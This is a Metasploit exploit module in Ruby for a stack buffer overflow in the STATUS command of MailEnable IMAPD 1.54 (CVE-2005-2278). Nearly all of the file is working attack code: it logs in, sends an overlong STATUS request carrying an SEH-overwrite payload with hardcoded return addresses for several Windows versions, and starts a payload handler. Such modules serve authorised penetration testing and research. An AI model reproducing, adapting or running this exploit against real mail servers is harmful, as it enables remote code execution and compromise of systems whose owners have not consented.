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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Imap
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MailEnable IMAPD (1.54) STATUS Request Buffer Overflow',
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      'Description'    => %q{
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          MailEnable's IMAP server contains a buffer overflow
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        vulnerability in the STATUS command. With proper
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        credentials, this could allow for the execution of arbitrary
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        code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-2278'],
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          [ 'OSVDB', '17844'],
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          [ 'BID', '14243'],
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          [ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19193'],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 450,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['MailEnable 1.54 Pro Universal',  { 'Rets' =>  [9273, 0x1001c019] }], #MEAISP.DLL
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          ['Windows XP Pro SP0/SP1 English', { 'Rets' =>  [9273, 0x71aa32ad] }],
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          ['Windows 2000 Pro English ALL',   { 'Rets' =>  [9273, 0x75022ac4] }],
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          ['Windows 2003 Server English',    { 'Rets' =>  [9273, 0x7ffc0638] }],
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        ],
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      'DisclosureDate' => '2005-07-13',
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      'DefaultTarget' => 0))
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  end
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  def exploit
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    connect_login
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    seh = generate_seh_payload(target['Rets'][1])
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    buf = rand_text_alphanumeric(target['Rets'][0])
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    req = "a001 STATUS \".\x00" + buf + seh
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    req << "\" (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)\r\n"
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    sock.put(req)
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    handler
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    disconnect
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  end
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end
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